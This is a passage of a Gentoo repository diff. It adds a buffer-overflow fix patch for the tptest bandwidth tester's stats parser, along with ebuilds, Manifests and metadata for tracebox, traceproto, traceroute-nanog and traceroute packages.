+- s->PktsSent = atoi(valBuf);
+- if (CopyTagField(valBuf, 29, line+6, "pktsunsent"))
+- s->PktsUnSent = atoi(valBuf);
+- if (CopyTagField(valBuf, 29, line+6, "pktsrcvd"))
+- s->PktsRecvd = atoi(valBuf);
+- if (CopyTagField(valBuf, 29, line+6, "bytessent"))
++ if (CopyTagField(valBuf, sizeof(valBuf)-1, stats_ptr, "majorv"))
++ s->MajorVersion = (USHORT) strtoul(valBuf,NULL,10);
++ if (CopyTagField(valBuf, sizeof(valBuf)-1, stats_ptr, "minorv"))
++ s->MinorVersion = (USHORT) strtoul(valBuf,NULL,10);
++ if (CopyTagField(valBuf, sizeof(valBuf)-1, stats_ptr, "pktssent"))
++ s->PktsSent = (UINT32) strtoul(valBuf,NULL,10);
++ if (CopyTagField(valBuf, sizeof(valBuf)-1, stats_ptr, "pktsunsent"))
++ s->PktsUnSent = (UINT32) strtoul(valBuf,NULL,10);
++ if (CopyTagField(valBuf, sizeof(valBuf)-1, stats_ptr, "pktsrcvd"))
++ s->PktsRecvd = (UINT32) strtoul(valBuf,NULL,10);
++ if (CopyTagField(valBuf, sizeof(valBuf)-1, stats_ptr, "bytessent"))
+ sscanf(valBuf, "%" LONG_LONG_PREFIX "d", &(s->BytesSent));
+- if (CopyTagField(valBuf, 29, line+6, "bytesrcvd"))
++ if (CopyTagField(valBuf, sizeof(valBuf)-1, stats_ptr, "bytesrcvd"))
+ sscanf(valBuf, "%" LONG_LONG_PREFIX "d", &(s->BytesRecvd));
+- if (CopyTagField(valBuf, 29, line+6, "maxrtt"))
+- s->MaxRoundtrip = atoi(valBuf);
+- if (CopyTagField(valBuf, 29, line+6, "minrtt"))
+- s->MinRoundtrip = atoi(valBuf);
+- if (CopyTagField(valBuf, 29, line+6, "oocount"))
+- s->ooCount = atoi(valBuf);
+-
+- if (CopyTagField(valBuf, 29, line+6, "txstart_s"))
+- s->StartSend.tv_sec = atoi(valBuf);
+- if (CopyTagField(valBuf, 29, line+6, "txstart_us"))
+- s->StartSend.tv_usec = atoi(valBuf);
+-
+- if (CopyTagField(valBuf, 29, line+6, "txstop_s"))
+- s->StopSend.tv_sec = atoi(valBuf);
+- if (CopyTagField(valBuf, 29, line+6, "txstop_us"))
+- s->StopSend.tv_usec = atoi(valBuf);
+-
+- if (CopyTagField(valBuf, 29, line+6, "rxstart_s"))
+- s->StartRecv.tv_sec = atoi(valBuf);
+- if (CopyTagField(valBuf, 29, line+6, "rxstart_us"))
+- s->StartRecv.tv_usec = atoi(valBuf);
+-
+- if (CopyTagField(valBuf, 29, line+6, "rxstop_s"))
+- s->StopRecv.tv_sec = atoi(valBuf);
+- if (CopyTagField(valBuf, 29, line+6, "rxstop_us"))
+- s->StopRecv.tv_usec = atoi(valBuf);
+-
+- if (CopyTagField(valBuf, 29, line+6, "totrtt"))
+- s->TotalRoundtrip = atoi(valBuf);
+- if (CopyTagField(valBuf, 29, line+6, "nortt"))
+- s->nRoundtrips = atoi(valBuf);
+-
+- if (CopyTagField(valBuf, 101, line + 6, "email"))
+- strcpy(s->email, valBuf);
++ if (CopyTagField(valBuf, sizeof(valBuf)-1, stats_ptr, "maxrtt"))
++ s->MaxRoundtrip = (UINT32) strtoul(valBuf,NULL,10);
++ if (CopyTagField(valBuf, sizeof(valBuf)-1, stats_ptr, "minrtt"))
++ s->MinRoundtrip = (UINT32) strtoul(valBuf,NULL,10);
++ if (CopyTagField(valBuf, sizeof(valBuf)-1, stats_ptr, "oocount"))
++ s->ooCount = (UINT32) strtoul(valBuf,NULL,10);
++
++ if (CopyTagField(valBuf, sizeof(valBuf)-1, stats_ptr, "txstart_s"))
++ s->StartSend.tv_sec = strtol(valBuf,NULL,10);
++ if (CopyTagField(valBuf, sizeof(valBuf)-1, stats_ptr, "txstart_us"))
++ s->StartSend.tv_usec = strtol(valBuf,NULL,10);
++
++ if (CopyTagField(valBuf, sizeof(valBuf)-1, stats_ptr, "txstop_s"))
++ s->StopSend.tv_sec = strtol(valBuf,NULL,10);
++ if (CopyTagField(valBuf, sizeof(valBuf)-1, stats_ptr, "txstop_us"))
++ s->StopSend.tv_usec = strtol(valBuf,NULL,10);
++
++ if (CopyTagField(valBuf, sizeof(valBuf)-1, stats_ptr, "rxstart_s"))
++ s->StartRecv.tv_sec = strtol(valBuf,NULL,10);
++ if (CopyTagField(valBuf, sizeof(valBuf)-1, stats_ptr, "rxstart_us"))
++ s->StartRecv.tv_usec = strtol(valBuf,NULL,10);
++
++ if (CopyTagField(valBuf, sizeof(valBuf)-1, stats_ptr, "rxstop_s"))
++ s->StopRecv.tv_sec = strtol(valBuf,NULL,10);
++ if (CopyTagField(valBuf, sizeof(valBuf)-1, stats_ptr, "rxstop_us"))
++ s->StopRecv.tv_usec = strtol(valBuf,NULL,10);
++
++ if (CopyTagField(valBuf, sizeof(valBuf)-1, stats_ptr, "totrtt"))
++ s->TotalRoundtrip = (UINT32) strtoul(valBuf,NULL,10);
++ if (CopyTagField(valBuf, sizeof(valBuf)-1, stats_ptr, "nortt"))
++ s->nRoundtrips = (UINT32) strtoul(valBuf,NULL,10);
++
++ if (CopyTagField(valBuf, sizeof(valBuf)-1, stats_ptr, "email"))
++ {
++ strncpy(s->email, valBuf, sizeof(s->email));
++ s->email[sizeof(s->email)-1] = '\0';
++ }
+
+- if (CopyTagField(valBuf, 101, line + 6, "pwd"))
+- strcpy(s->pwd, valBuf);
++ if (CopyTagField(valBuf, sizeof(valBuf)-1, stats_ptr, "pwd"))
++ {
++ strncpy(s->pwd, valBuf, sizeof(s->pwd));
++ s->pwd[sizeof(s->pwd)-1] = '\0';
++ }
+
++ stats_ptr = NULL;
+ return 0;
+-
+ }
+
+
+--- a/engine/tpcommon.h
++++ b/engine/tpcommon.h
+@@ -43,7 +43,7 @@ int SameTag(char *s1, char *s2);
+ int CopyTagField(char *destp, int destSize, char *srcp, char *pname);
+ int GetSessionFromLine(char *, TPEngine *);
+ char * CreateSessionLine(TPEngine *, char *);
+-int GetStatsFromLine(char *, TPStats *);
++int GetStatsFromLine(const char *, TPStats *);
+ char * CreateLineFromStats(TPStats *, char *);
+ int ReplyCode(char *);
+ void TVAddUSec(struct timeval *, int);
diff --git a/net-analyzer/tptest/metadata.xml b/net-analyzer/tptest/metadata.xml
new file mode 100644
index 000000000000..496929f4d0d2
--- /dev/null
+++ b/net-analyzer/tptest/metadata.xml
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <upstream>
+ <remote-id type="sourceforge">tptest</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/tptest/tptest-3.1.7-r2.ebuild b/net-analyzer/tptest/tptest-3.1.7-r2.ebuild
new file mode 100644
index 000000000000..e7135687839a
--- /dev/null
+++ b/net-analyzer/tptest/tptest-3.1.7-r2.ebuild
@@ -0,0 +1,44 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit toolchain-funcs eutils
+
+MY_PV="${PV/./_}"
+
+DESCRIPTION="Internet bandwidth tester"
+HOMEPAGE="http://tptest.sourceforge.net/"
+SRC_URI="mirror://sourceforge/${PN}/${P}.tar.gz"
+LICENSE="GPL-2"
+SLOT="0"
+
+KEYWORDS="amd64 ppc sparc x86"
+
+src_prepare() {
+ sed -i apps/unix/{client,server}/Makefile \
+ -e "s:^CFLAGS[[:space:]]*=:CFLAGS+=:" \
+ || die
+ epatch "${FILESDIR}/${PN}-3.1.7-getstatsfromlinevuln.patch"
+ cp -f os-dep/unix/* .
+ cp -f engine/* .
+}
+
+src_compile() {
+ emake -C apps/unix/client \
+ CC=$(tc-getCC) \
+ LDFLAGS="${LDFLAGS}" \
+ || die
+ emake -C apps/unix/server \
+ CC=$(tc-getCC) \
+ LDFLAGS="${LDFLAGS}" \
+ || die
+}
+
+src_install() {
+ dobin apps/unix/client/tptestclient
+ dosbin apps/unix/server/tptestserver
+
+ insinto /etc
+ doins apps/unix/server/tptest.conf
+}
diff --git a/net-analyzer/tracebox/Manifest b/net-analyzer/tracebox/Manifest
new file mode 100644
index 000000000000..d94703dbeb04
--- /dev/null
+++ b/net-analyzer/tracebox/Manifest
@@ -0,0 +1 @@
+DIST tracebox-0.2.tar.gz 27954 SHA256 39a7a70edb386defe03fabafe0ec8dd448ec8a24adcb2df8ea70f4ea16dfffd8 SHA512 15bfaede7e4828c14efbf7395f3d1c681b672b47157c370f4fe92d5d306ccc8e3e061107c3d36a505d732451d67ea146c21c299e6e826205725ab12680ee773e WHIRLPOOL 89a0c7dd13a6fbadcd88678a7981ed8331b0217792e95404b8ec2be0eb2ff069c570ad441f5a3651c00512d1e6471f01dd719ecddcc740f8a2c0074ba5caf268
diff --git a/net-analyzer/tracebox/files/tracebox-0.2-deps.patch b/net-analyzer/tracebox/files/tracebox-0.2-deps.patch
new file mode 100644
index 000000000000..f6c748a410cd
--- /dev/null
+++ b/net-analyzer/tracebox/files/tracebox-0.2-deps.patch
@@ -0,0 +1,30 @@
+--- a/configure.ac
++++ b/configure.ac
+@@ -32,15 +32,11 @@
+ ])
+ ])
+
+-# Make sure libcrafter build a static library by adding the --disable-shared
+-# argument to the configure script.
+-ac_configure_args_pre="$ac_configure_args"
+-ac_configure_args_post="$ac_configure_args --disable-shared"
+-ac_configure_args="$ac_configure_args_post"
++# check for libcrafter
++PKG_CHECK_MODULES(crafter, crafter, LIBS="$LIBS $crafter_LIBS",AC_MSG_ERROR([libcrafter is required]))
+
+-AC_CONFIG_COMMANDS_PRE([ac_configure_args="$ac_configure_args_pre"])
+-AC_CONFIG_COMMANDS_POST([ac_configure_args="$ac_configure_args_post"])
+-AC_CONFIG_SUBDIRS(noinst/libcrafter/libcrafter)
++# check for libpcap
++AC_CHECK_LIB(pcap,pcap_open_offline,LIBS="$LIBS -lpcap",AC_MSG_ERROR([libpcap is required]))
+
+ # Enable click submodule
+ AS_IF([test "x$enable_tests" = "xyes"], [
+@@ -50,7 +46,6 @@
+
+ AC_CONFIG_COMMANDS_PRE([ac_configure_args="$ac_configure_args_pre"])
+ AC_CONFIG_COMMANDS_POST([ac_configure_args="$ac_configure_args_post"])
+- AC_CONFIG_SUBDIRS(tests/tools/click)
+
+ AC_PATH_PROG([FAKEROOT], [fakeroot])
+ AS_IF([test -z "$FAKEROOT"], [
diff --git a/net-analyzer/tracebox/metadata.xml b/net-analyzer/tracebox/metadata.xml
new file mode 100644
index 000000000000..18403fc4878c
--- /dev/null
+++ b/net-analyzer/tracebox/metadata.xml
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <upstream>
+ <remote-id type="github">tracebox/tracebox</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/tracebox/tracebox-0.2.ebuild b/net-analyzer/tracebox/tracebox-0.2.ebuild
new file mode 100644
index 000000000000..7b153b35c8e3
--- /dev/null
+++ b/net-analyzer/tracebox/tracebox-0.2.ebuild
@@ -0,0 +1,51 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit autotools eutils
+
+DESCRIPTION="A Middlebox Detection Tool"
+HOMEPAGE="http://www.tracebox.org/"
+SRC_URI="https://github.com/${PN}/${PN}/archive/v${PV}.tar.gz -> ${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+
+RDEPEND="
+ dev-lang/lua
+ net-libs/libcrafter
+ net-libs/libpcap
+"
+DEPEND="
+ ${RDEPEND}
+ virtual/pkgconfig
+"
+
+RESTRICT="test"
+
+src_prepare() {
+ epatch "${FILESDIR}"/${P}-deps.patch
+
+ sed -i -e '/SUBDIRS/s|noinst||g' Makefile.am || die
+ sed -i -e '/DIST_SUBDIRS.*libcrafter/d' noinst/Makefile.am || die
+
+ sed -i \
+ -e '/[[:graph:]]*libcrafter[[:graph:]]*/d' \
+ -e '/dist_bin_SCRIPTS/d' \
+ src/${PN}/Makefile.am \
+ || die
+
+ sed -i \
+ -e 's|"crafter.h"|<crafter.h>|g' \
+ src/${PN}/PacketModification.h \
+ src/${PN}/PartialHeader.h \
+ src/${PN}/script.h \
+ src/${PN}/${PN}.h \
+ || die
+
+ rm README.md || die
+
+ eautoreconf
+}
diff --git a/net-analyzer/traceproto/Manifest b/net-analyzer/traceproto/Manifest
new file mode 100644
index 000000000000..24d5784a105c
--- /dev/null
+++ b/net-analyzer/traceproto/Manifest
@@ -0,0 +1 @@
+DIST traceproto-1.1.2beta1.tar.gz 192288 SHA256 96c1985793dd9913513669772efdf5736d4bc3af8cd2a852567be64ecd028900 SHA512 e7c99fd0ccc6a8e21901d538b9a05ff26807afdd749ab53e958722ad7fa54c27545c95e4bc390a6a06130e7a123f8fa4c7f794ca7b25180a4d3ca5044d1e7364 WHIRLPOOL 129f31cb97a12b6db08b6b4a717c44e884a9aadf876d374a04df091f03381d8bc458c3ba75940c395a8ab795d44da32db021eb78302b1a3ff678dadc596d0eee
diff --git a/net-analyzer/traceproto/files/traceproto-1.1.2_beta1-tinfo.patch b/net-analyzer/traceproto/files/traceproto-1.1.2_beta1-tinfo.patch
new file mode 100644
index 000000000000..383daaefd78b
--- /dev/null
+++ b/net-analyzer/traceproto/files/traceproto-1.1.2_beta1-tinfo.patch
@@ -0,0 +1,17 @@
+--- a/configure.ac
++++ b/configure.ac
+@@ -182,9 +182,11 @@
+ AC_CHECK_LIB(pcap, pcap_open_live, , AC_MSG_ERROR([ERROR - pcap check failed]))
+ AC_CHECK_LIB(net, libnet_init, , AC_MSG_ERROR([ERROR - libnet check failed]))
+ AC_CHECK_LIB(cap, cap_init, , AC_MSG_WARN([libcap check failed]))
+-AC_CHECK_LIB(ncurses, initscr, , AC_MSG_WARN([ncurses check failed]))
+-AC_CHECK_LIB(curses, initscr, , AC_MSG_WARN([curses check failed]))
+-AC_CHECK_LIB(termcap, tgetent)
++PKG_CHECK_MODULES(ncurses,ncurses,
++ LIBS="$LIBS $ncurses_LIBS"
++ AC_DEFINE([HAVE_NCURSES_H], 1, [We have ncurses headers])
++ AC_DEFINE([HAVE_LIBNCURSES], 1, [We have ncurses libraries]),
++ AC_MSG_ERROR([ncurses check failed]))
+ if test "x$dmalloc_test" = "xyes"; then
+ AC_CHECK_LIB(dmalloc, malloc, ,AC_MSG_RESULT([dmalloc unavailable]))
+ fi
diff --git a/net-analyzer/traceproto/metadata.xml b/net-analyzer/traceproto/metadata.xml
new file mode 100644
index 000000000000..78692635ad22
--- /dev/null
+++ b/net-analyzer/traceproto/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/traceproto/traceproto-1.1.2_beta1.ebuild b/net-analyzer/traceproto/traceproto-1.1.2_beta1.ebuild
new file mode 100644
index 000000000000..92df6c4bf1d3
--- /dev/null
+++ b/net-analyzer/traceproto/traceproto-1.1.2_beta1.ebuild
@@ -0,0 +1,42 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils autotools
+
+MY_PV=${PV/_/}
+
+DESCRIPTION="A traceroute-like utility that sends packets based on protocol"
+HOMEPAGE="http://traceproto.sourceforge.net/"
+SRC_URI="mirror://gentoo/${PN}-${MY_PV}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc x86"
+IUSE="debug"
+
+RDEPEND="
+ net-libs/libnet:1.1
+ net-libs/libpcap
+ sys-libs/ncurses
+ debug? ( dev-libs/dmalloc )
+"
+DEPEND="
+ ${RDEPEND}
+ app-doc/doxygen[dot]
+ virtual/pkgconfig
+"
+
+S=${WORKDIR}/${PN}-${MY_PV}
+
+DOCS=( AUTHORS ChangeLog NEWS README TODO )
+
+src_prepare() {
+ epatch "${FILESDIR}"/${P}-tinfo.patch
+ eautoreconf
+}
+
+src_configure() {
+ econf $(use_enable debug dmalloc)
+}
diff --git a/net-analyzer/traceroute-nanog/Manifest b/net-analyzer/traceroute-nanog/Manifest
new file mode 100644
index 000000000000..f793936728f6
--- /dev/null
+++ b/net-analyzer/traceroute-nanog/Manifest
@@ -0,0 +1,2 @@
+DIST traceroute-nanog_6.4.2-1.diff.gz 18417 SHA256 840f517113cfc03cc708a7e58ef091b464f4876507488ea072df078795b8346b SHA512 62c2df3db292ab263a2d076689b80ff156bd4a3b4f604974ad8210a700bee80055e21165909eeff138d03570ffe4a44b983ed0cf5ba0c6a914af1928ae82038e WHIRLPOOL 8f6fa7b062cade6c1c3a594a46f31aaec9b40ed2653fe371dc83b97e7012041969f55690365fea070fb09c06b43fbc03ab80d5cea53580da9d531a33fbde46b7
+DIST traceroute-nanog_6.4.2.orig.tar.gz 34429 SHA256 86def604ea95df7c0b6787f6b3e41b10feab0756e16b49a7d2aeab9b02199168 SHA512 1cd4c98404e7b25b2c1f1e4018fc1774f09822df8e597022c7b31b9cf20ce3c5649fd90337c62c65d163fb9c896bd9e19277febb5312d4afe347eac328c6e304 WHIRLPOOL 90c095acb11240089636e4f3258678914fb9bd845ff602326e3eb605ba67be14e8b9525b4c9895edf650063f900d21df0fadd2df418f2aab10466bb4a78a1f31
diff --git a/net-analyzer/traceroute-nanog/metadata.xml b/net-analyzer/traceroute-nanog/metadata.xml
new file mode 100644
index 000000000000..03aa50bab7e3
--- /dev/null
+++ b/net-analyzer/traceroute-nanog/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/traceroute-nanog/traceroute-nanog-6.4.2-r1.ebuild b/net-analyzer/traceroute-nanog/traceroute-nanog-6.4.2-r1.ebuild
new file mode 100644
index 000000000000..6cf308b644ae
--- /dev/null
+++ b/net-analyzer/traceroute-nanog/traceroute-nanog-6.4.2-r1.ebuild
@@ -0,0 +1,40 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit eutils toolchain-funcs
+
+MY_P="${PN}_${PV}"
+DEB_PL="1"
+DESCRIPTION="Traceroute with AS lookup, TOS support, MTU discovery and other features"
+HOMEPAGE="http://packages.debian.org/traceroute-nanog"
+SRC_URI="
+ http://dev.gentoo.org/~jer/${MY_P}.orig.tar.gz
+ http://dev.gentoo.org/~jer/${MY_P}-${DEB_PL}.diff.gz
+"
+RESTRICT="mirror"
+
+LICENSE="BSD"
+SLOT="0"
+KEYWORDS="amd64 ~ppc x86"
+
+S="${S}.orig"
+
+src_prepare() {
+ EPATCH_SUFFIX="dpatch" epatch \
+ "${WORKDIR}/${MY_P}-${DEB_PL}.diff" \
+ "${WORKDIR}/${P}.orig/${P}/debian/patches/"
+}
+
+src_compile() {
+ $(tc-getCC) traceroute.c -o ${PN} ${CFLAGS} -DSTRING ${LDFLAGS} -lresolv -lm \
+ || die
+}
+
+src_install() {
+ dosbin traceroute-nanog
+ dodoc 0_readme.txt faq.txt
+ newman ${P}/debian/traceroute-nanog.genuine.8 traceroute-nanog.8
+}
diff --git a/net-analyzer/traceroute/Manifest b/net-analyzer/traceroute/Manifest
new file mode 100644
index 000000000000..e5b7d4babf62
--- /dev/null
+++ b/net-analyzer/traceroute/Manifest
@@ -0,0 +1,4 @@
+DIST traceroute-2.0.18.tar.gz 66931 SHA256 5994a88520927fefe3c9754aaf1e02b4d0f3f8fb1f521a68fa86215c3fcab9ef SHA512 8eb096c10e4e450839126b41f858b380ef01990092e3de76c9423343a34edfc118fad6b2017fca2e8106c1065f6634cd9a892ea4118453f8c28ad5ab8c6c1c93 WHIRLPOOL aa9d4b1b603fcffc4c1294087d96286aec6b28e229f3a3916f36ec6adf37f4db340fb99a78f9011314975e6769c76959ceb313e162cf0b2f793c5ae3e1425724
+DIST traceroute-2.0.19.tar.gz 69614 SHA256 082be58ec3e6fe9717a52160150e2f6d52fa90f8ecb82abf3b363c8150b0607e SHA512 406b742dd0248720f1c15f2fc30050f9c420c8cfe564028b6f9519158afcbde6810af10d86739377809342762cb403fc32487867413a281b0644349ede125485 WHIRLPOOL 8272957b42a2ca92b1bd991e1e034454dd5406c1445fc28e30b28dd5b6190a44e0b6addc8d0be8d00250b3fc5b2d7714ac52d6d4226bcbc71650e15caafb8d08
+DIST traceroute-2.0.20.tar.gz 68907 SHA256 2facba9525c95428d7bff3a313fc6ecfd8c529c678ae666c73015558a0edc271 SHA512 ba82468f5e52a14cf029ff977d85e9cc395bdac2fdf8c29232f9e664bf15efdbaca4f56a78533f2afadd3aef95e31d4497f00f4fc29f74a699a149f0434b484d WHIRLPOOL f7fad8dca126291b17194b6f2f2fd2de98c358d63aa7bcf9e853b888562a8a9c251afdfb85ba5990a7c52f3c4e518b153a1323de0997ce6292113545c133e8b5
+DIST traceroute-2.0.21.tar.gz 69159 SHA256 f7ac93ef30b13a587292b8d6a7e2538a65bc978a3a576eab238c392b884e96e0 SHA512 437cfc596e045d89f0f477f404e410347fb4e8d5db00c9e2ce1317457a99377d1239e68949a6e44e8d424f480c8bfacb7213ce3f03efc46880a369678eb49589 WHIRLPOOL 870a228ac77f5ca72a0ea1757f3e86372fd4c809133d15ae6de8a637fb9edfe3e9b62c82f8b53ad85c3300086e69829c7b7248bdfa52801ca2103253d23d0018
diff --git a/net-analyzer/traceroute/metadata.xml b/net-analyzer/traceroute/metadata.xml
new file mode 100644
index 000000000000..dc8a43461a3c
--- /dev/null
+++ b/net-analyzer/traceroute/metadata.xml
@@ -0,0 +1,9 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <longdescription>Utility to trace the route of IP packets</longdescription>
+ <upstream>
+ <remote-id type="sourceforge">traceroute</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/traceroute/traceroute-2.0.18.ebuild b/net-analyzer/traceroute/traceroute-2.0.18.ebuild
new file mode 100644
index 000000000000..1d1619984755
--- /dev/null
+++ b/net-analyzer/traceroute/traceroute-2.0.18.ebuild
@@ -0,0 +1,32 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="3"
+
+inherit flag-o-matic multilib toolchain-funcs
+
+DESCRIPTION="Utility to trace the route of IP packets"
+HOMEPAGE="http://traceroute.sourceforge.net/"
+SRC_URI="mirror://sourceforge/traceroute/${P}.tar.gz"
+
+LICENSE="GPL-2 LGPL-2.1"
+SLOT="0"
+KEYWORDS="alpha amd64 arm hppa ia64 m68k ~mips ppc ppc64 s390 sh sparc x86 ~amd64-linux ~x86-linux"
+IUSE="static"
+
+src_compile() {
+ use static && append-ldflags -static
+ tc-export CC AR RANLIB
+ emake env=yes || die
+}
+
+src_install() {
+ emake \
+ DESTDIR="${D}" \
+ prefix="${EPREFIX}/usr" \
+ libdir="${EPREFIX}/usr/$(get_libdir)" \
+ install \
+ || die
+ dodoc ChangeLog CREDITS README TODO
+}
diff --git a/net-analyzer/traceroute/traceroute-2.0.19-r1.ebuild b/net-analyzer/traceroute/traceroute-2.0.19-r1.ebuild
new file mode 100644
index 000000000000..b7417366b83d
--- /dev/null
+++ b/net-analyzer/traceroute/traceroute-2.0.19-r1.ebuild
@@ -0,0 +1,36 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="4"
+
+inherit flag-o-matic multilib toolchain-funcs
+
+DESCRIPTION="Utility to trace the route of IP packets"
+HOMEPAGE="http://traceroute.sourceforge.net/"
+SRC_URI="mirror://sourceforge/traceroute/${P}.tar.gz"
+
+LICENSE="GPL-2 LGPL-2.1"
+SLOT="0"
+KEYWORDS="~alpha ~amd64 ~arm ~hppa ~ia64 ~m68k ~mips ~ppc ~ppc64 ~s390 ~sh ~sparc ~x86 ~amd64-linux ~arm-linux ~x86-linux"
+IUSE="static"
+
+RDEPEND="!<net-misc/iputils-20121221-r1"
+
+src_compile() {
+ use static && append-ldflags -static
+ tc-export CC AR RANLIB
+ emake env=yes
+}
+
+src_install() {
+ emake \
+ DESTDIR="${D}" \
+ prefix="${EPREFIX}/usr" \
+ libdir="${EPREFIX}/usr/$(get_libdir)" \
+ install
+ dodoc ChangeLog CREDITS README TODO
+
+ dosym traceroute /usr/bin/traceroute6
+ dosym traceroute.8 /usr/share/man/man8/traceroute6.8
+}
diff --git a/net-analyzer/traceroute/traceroute-2.0.19.ebuild b/net-analyzer/traceroute/traceroute-2.0.19.ebuild
new file mode 100644
index 000000000000..f88725631db2
--- /dev/null
+++ b/net-analyzer/traceroute/traceroute-2.0.19.ebuild
@@ -0,0 +1,31 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="4"
+
+inherit flag-o-matic multilib toolchain-funcs
+
+DESCRIPTION="Utility to trace the route of IP packets"
+HOMEPAGE="http://traceroute.sourceforge.net/"
+SRC_URI="mirror://sourceforge/traceroute/${P}.tar.gz"
+
+LICENSE="GPL-2 LGPL-2.1"
+SLOT="0"
+KEYWORDS="~alpha ~amd64 ~arm ~hppa ~ia64 ~m68k ~mips ~ppc ~ppc64 ~s390 ~sh ~sparc ~x86 ~amd64-linux ~x86-linux"
+IUSE="static"
+
+src_compile() {
+ use static && append-ldflags -static
+ tc-export CC AR RANLIB
+ emake env=yes
+}
+
+src_install() {
+ emake \
+ DESTDIR="${D}" \
+ prefix="${EPREFIX}/usr" \
+ libdir="${EPREFIX}/usr/$(get_libdir)" \
+ install
+ dodoc ChangeLog CREDITS README TODO
+}
diff --git a/net-analyzer/traceroute/traceroute-2.0.20.ebuild b/net-analyzer/traceroute/traceroute-2.0.20.ebuild
new file mode 100644
index 000000000000..7939e0ee201e
--- /dev/null
+++ b/net-analyzer/traceroute/traceroute-2.0.20.ebuild
@@ -0,0 +1,37 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit flag-o-matic multilib toolchain-funcs
+
+DESCRIPTION="Utility to trace the route of IP packets"
+HOMEPAGE="http://traceroute.sourceforge.net/"
+SRC_URI="mirror://sourceforge/traceroute/${P}.tar.gz"
+
+LICENSE="GPL-2 LGPL-2.1"
+SLOT="0"
+KEYWORDS="alpha amd64 arm ~arm64 hppa ia64 ~m68k ~mips ppc ppc64 ~s390 ~sh sparc x86 ~amd64-linux ~arm-linux ~x86-linux"
+IUSE="static"
+
+RDEPEND="!<net-misc/iputils-20121221-r1
+ !net-misc/iputils[traceroute]"
+
+src_compile() {
+ use static && append-ldflags -static
+ tc-export AR CC RANLIB
+ emake env=yes
+}
+
+src_install() {
+ emake \
+ DESTDIR="${D}" \
+ prefix="${EPREFIX}/usr" \
+ libdir="${EPREFIX}/usr/$(get_libdir)" \
+ install
+ dodoc ChangeLog CREDITS README TODO
+
+ dosym traceroute /usr/bin/traceroute6
+ dosym traceroute.8 /usr/share/man/man8/traceroute6.8
+}
diff --git a/net-analyzer/traceroute/traceroute-2.0.21.ebuild b/net-analyzer/traceroute/traceroute-2.0.21.ebuild
new file mode 100644
index 000000000000..fef5017aa9be
--- /dev/null
+++ b/net-analyzer/traceroute/traceroute-2.0.21.ebuild
@@ -0,0 +1,32 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit flag-o-matic toolchain-funcs
+
+DESCRIPTION="Utility to trace the route of IP packets"
+HOMEPAGE="http://traceroute.sourceforge.net/"
+SRC_URI="mirror://sourceforge/traceroute/${P}.tar.gz"
+
+LICENSE="GPL-2 LGPL-2.1"
+SLOT="0"
+KEYWORDS="~alpha ~amd64 ~arm ~arm64 ~hppa ~ia64 ~m68k ~mips ~ppc ~ppc64 ~s390 ~sh ~sparc ~x86 ~amd64-linux ~arm-linux ~x86-linux"
+IUSE="static"
+
+RDEPEND="!<net-misc/iputils-20121221-r1
+ !net-misc/iputils[traceroute]"
+
+src_compile() {
+ use static && append-ldflags -static
+ tc-export AR CC RANLIB
+ emake env=yes
+}
+
+src_install() {
+ emake DESTDIR="${D}" prefix="${EPREFIX}/usr" install
+ dodoc ChangeLog CREDITS README TODO
+ dosym traceroute /usr/bin/traceroute6
+ dosym traceroute.8 /usr/share/man/man8/traceroute6.8
+}
diff --git a/net-analyzer/trafshow/Manifest b/net-analyzer/trafshow/Manifest
new file mode 100644
index 000000000000..8f87d6101a91
--- /dev/null
+++ b/net-analyzer/trafshow/Manifest
@@ -0,0 +1 @@
